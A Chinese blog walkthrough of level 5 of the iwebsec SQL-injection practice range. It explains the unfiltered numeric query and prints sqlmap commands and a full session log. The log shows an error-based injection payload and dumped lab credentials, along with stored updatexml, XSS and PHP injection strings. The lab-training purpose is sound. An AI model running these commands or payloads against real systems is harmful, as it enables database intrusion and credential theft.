• iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入（报错型盲注）

    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）_mooyuan的博客-CSDN博客

    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

     2.完整交互过程

    总结

    前言

    iwebsec靶场的SQL注入漏洞的第05关updatexml注入漏洞渗透。

    ​

    一、源码分析

    如下所示，SQL语句与前几关一样，调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入，并且没有对参数id做任何过滤。

    ​

    不过在输出内容中可以得知仅sql查询成功时输出正确的id，用户名和密码。

    ​不过在错误的时候却执行语句print_r(mysql_error());这个报错语句的使用意味着我们可以利用报错型函数如updatexml，extractvalue等函数进行SQL注入。

    二、sqlmap注入

    1.注入命令

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch

     如下所示，渗透成功

    ​

    sqlmap发现可以通过4种方法进行渗透成功，这里我们可以指定方法就是error-based，这样的话渗透语句可以写为

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch --technique E

     2.完整交互过程

    完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch --technique E
    2.         ___
    3.        __H__                                                                                                                                                                                                                               
    4.  ___ ___[)]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
    5. |_ -| . [,]     | .'| . |                                                                                                                                                                                                                  
    6. |___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                  
    7.       |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    10.  
    11. [*] starting @ 23:15:21 /2022-11-24/
    12.  
    13. [23:15:21] [INFO] resuming back-end DBMS 'mysql' 
    14. [23:15:21] [INFO] testing connection to the target URL
    15. sqlmap resumed the following injection point(s) from stored session:
    16. ---
    17. Parameter: id (GET)
    18.     Type: error-based
    19.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    20.     Payload: id=1 AND (SELECT 1776 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(1776=1776,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    21. ---
    22. [23:15:21] [INFO] the back-end DBMS is MySQL
    23. web server operating system: Linux CentOS 6
    24. web application technology: Apache 2.2.15, PHP 5.2.17
    25. back-end DBMS: MySQL >= 5.0
    26. [23:15:21] [INFO] fetching current database
    27. [23:15:21] [INFO] retrieved: 'iwebsec'
    28. current database: 'iwebsec'
    29. [23:15:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    30. [23:15:21] [INFO] fetching current database
    31. [23:15:21] [INFO] fetching tables for database: 'iwebsec'
    32. [23:15:21] [INFO] retrieved: 'sqli'
    33. [23:15:21] [INFO] retrieved: 'user'
    34. [23:15:21] [INFO] retrieved: 'users'
    35. [23:15:21] [INFO] retrieved: 'xss'
    36. [23:15:21] [INFO] fetching columns for table 'users' in database 'iwebsec'
    37. [23:15:21] [INFO] retrieved: 'username'
    38. [23:15:21] [INFO] retrieved: 'varchar(255)'
    39. [23:15:21] [INFO] retrieved: 'password'
    40. [23:15:21] [INFO] retrieved: 'varchar(255)'
    41. [23:15:21] [INFO] retrieved: 'role'
    42. [23:15:21] [INFO] retrieved: 'varchar(255)'
    43. [23:15:21] [INFO] fetching entries for table 'users' in database 'iwebsec'
    44. [23:15:21] [INFO] retrieved: 'mall123mall'
    45. [23:15:21] [INFO] retrieved: 'admin'
    46. [23:15:21] [INFO] retrieved: 'orange'
    47. Database: iwebsec
    48. Table: users
    49. [1 entry]
    50. +-------+-------------+----------+
    51. | role  | password    | username |
    52. +-------+-------------+----------+
    53. | admin | mall123mall | orange   |
    54. +-------+-------------+----------+
    55.  
    56. [23:15:21] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    57. [23:15:21] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    58. [23:15:21] [INFO] retrieved: 'id'
    59. [23:15:21] [INFO] retrieved: 'int(11)'
    60. [23:15:21] [INFO] retrieved: 'username'
    61. [23:15:21] [INFO] retrieved: 'varchar(255)'
    62. [23:15:21] [INFO] retrieved: 'password'
    63. [23:15:21] [INFO] retrieved: 'varchar(255)'
    64. [23:15:21] [INFO] retrieved: 'email'
    65. [23:15:21] [INFO] retrieved: 'varchar(255)'
    66. [23:15:21] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    67. [23:15:21] [INFO] retrieved: 'user1@iwebsec.com'
    68. [23:15:21] [INFO] retrieved: '1'
    69. [23:15:21] [INFO] retrieved: 'pass1'
    70. [23:15:21] [INFO] retrieved: 'user1'
    71. [23:15:21] [INFO] retrieved: 'user2@iwebsec.com'
    72. [23:15:21] [INFO] retrieved: '2'
    73. [23:15:21] [INFO] retrieved: 'pass2'
    74. [23:15:21] [INFO] retrieved: 'user2'
    75. [23:15:22] [INFO] retrieved: 'user3@iwebsec.com'
    76. [23:15:22] [INFO] retrieved: '3'
    77. [23:15:22] [INFO] retrieved: 'pass3'
    78. [23:15:22] [INFO] retrieved: 'user3'
    79. [23:15:22] [INFO] retrieved: 'user4@iwebsec.com'
    80. [23:15:22] [INFO] retrieved: '4'
    81. [23:15:22] [INFO] retrieved: 'admin'
    82. [23:15:22] [INFO] retrieved: 'admin'
    83. [23:15:22] [INFO] retrieved: '123@123.com'
    84. [23:15:22] [INFO] retrieved: '5'
    85. [23:15:22] [INFO] retrieved: '123'
    86. [23:15:22] [INFO] retrieved: '123'
    87. [23:15:22] [INFO] retrieved: '1234@123.com'
    88. [23:15:22] [INFO] retrieved: '6'
    89. [23:15:22] [INFO] retrieved: '123'
    90. [23:15:22] [INFO] retrieved: 'ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
    91. [23:15:22] [INFO] retrieved: 'iwebsec02@iwebsec.com'
    92. [23:15:22] [INFO] retrieved: '7'
    93. [23:15:22] [INFO] retrieved: '123456'
    94. [23:15:22] [INFO] retrieved: 'iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
    95. Database: iwebsec
    96. Table: sqli
    97. [7 entries]
    98. +----+-----------------------+----------+------------------------------------------------------+
    99. | id | email                 | password | username                                             |
    100. +----+-----------------------+----------+------------------------------------------------------+
    101. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    102. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    103. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    104. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    105. | 5  | 123@123.com           | 123      | 123                                                  |
    106. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    107. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    108. +----+-----------------------+----------+------------------------------------------------------+
    109.  
    110. [23:15:22] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    111. [23:15:22] [INFO] fetching columns for table 'user' in database 'iwebsec'
    112. [23:15:22] [INFO] retrieved: 'id'
    113. [23:15:22] [INFO] retrieved: 'int(11)'
    114. [23:15:22] [INFO] retrieved: 'username'
    115. [23:15:22] [INFO] retrieved: 'varchar(255)'
    116. [23:15:22] [INFO] retrieved: 'password'
    117. [23:15:22] [INFO] retrieved: 'varchar(255)'
    118. [23:15:22] [INFO] fetching entries for table 'user' in database 'iwebsec'
    119. [23:15:22] [INFO] retrieved: '1'
    120. [23:15:22] [INFO] retrieved: 'pass1'
    121. [23:15:22] [INFO] retrieved: 'user1'
    122. [23:15:22] [INFO] retrieved: '2'
    123. [23:15:22] [INFO] retrieved: 'pass2'
    124. [23:15:22] [INFO] retrieved: 'user2'
    125. [23:15:22] [INFO] retrieved: '3'
    126. [23:15:22] [INFO] retrieved: 'pass3'
    127. [23:15:22] [INFO] retrieved: 'user3'
    128. Database: iwebsec
    129. Table: user
    130. [3 entries]
    131. +----+----------+----------+
    132. | id | password | username |
    133. +----+----------+----------+
    134. | 1  | pass1    | user1    |
    135. | 2  | pass2    | user2    |
    136. | 3  | pass3    | user3    |
    137. +----+----------+----------+
    138.  
    139. [23:15:22] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    140. [23:15:22] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    141. [23:15:22] [INFO] retrieved: 'id'
    142. [23:15:22] [INFO] retrieved: 'int(11)'
    143. [23:15:22] [INFO] retrieved: 'name'
    144. [23:15:22] [INFO] retrieved: 'varchar(255)'
    145. [23:15:22] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    146. [23:15:22] [INFO] retrieved: '1'
    147. [23:15:22] [INFO] retrieved: 'iwebsec'
    148. [23:15:22] [INFO] retrieved: '5'
    149. [23:15:22] [INFO] retrieved: ''
    150. [23:15:22] [INFO] retrieved: '6'
    151. [23:15:22] [INFO] retrieved: ''
    152. [23:15:22] [INFO] retrieved: '7'
    153. [23:15:22] [INFO] retrieved: ''
    154. [23:15:22] [INFO] retrieved: '8'
    155. [23:15:22] [INFO] retrieved: ''
    156. Database: iwebsec
    157. Table: xss
    158. [5 entries]
    159. +----+------------------------------------+
    160. | id | name                               |
    161. +----+------------------------------------+
    162. | 1  | iwebsec                            |
    163. | 5  | <img src=1 onerror=alert(/ctfs/)/> |
    164. | 6  | <img src=1 onerror=alert(/ctfs/)/> |
    165. | 7  | <img src=1 onerror=alert(/ctfs/)/> |
    166. | 8  | <?php phpinfo();?>                 |
    167. +----+------------------------------------+
    168.  
    169. [23:15:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    170. [23:15:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    171. [23:15:22] [WARNING] your sqlmap version is outdated
    172.  
    173. [*] ending @ 23:15:22 /2022-11-24/

    总结

    通过源码再来分析下时间盲注关卡重点内容：
    （1）闭合方式是什么？iwebsec的第05关关卡为数字型注入，无闭合方式
    （2）注入类别是什么？这部分是报错型盲注
    （3）是否过滤了关键字？很明显通过源码，iwebsec的时间报错型关卡无过滤任何信息
    了解了如上信息就可以针对性进行SQL渗透。初学者还是应该以手动注入方法练习，真正了解原理后可以在使用sqlmap来提升速度。

  • 相关阅读:
    模型效果不好？推荐你8种机器学习调参技巧
    推荐系统笔记（十二）：常用激活函数gelu、swish等
    JavaScript之PC端网页特效（55th）
    基于fastai 1.0.61的SSD目标检测算法 代码详解 （一）
    工业用电监测管理系统_企业用电监测管理系统_能源监管监控管理系统
    [EECS][Design Lab 3][All Carrot, No Stick] 实现目标线性轨迹运动 实现状态机的级联 距离控制实现避障
    【译】All-In-One Search 在 Visual Studio 17.6 中可用
    【SpringBoot+Vue】前后端分离项目之图片上传与下载
    [附源码]java毕业设计宠物商城
    Kubeadm部署k8s集群 && kuboard
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128035767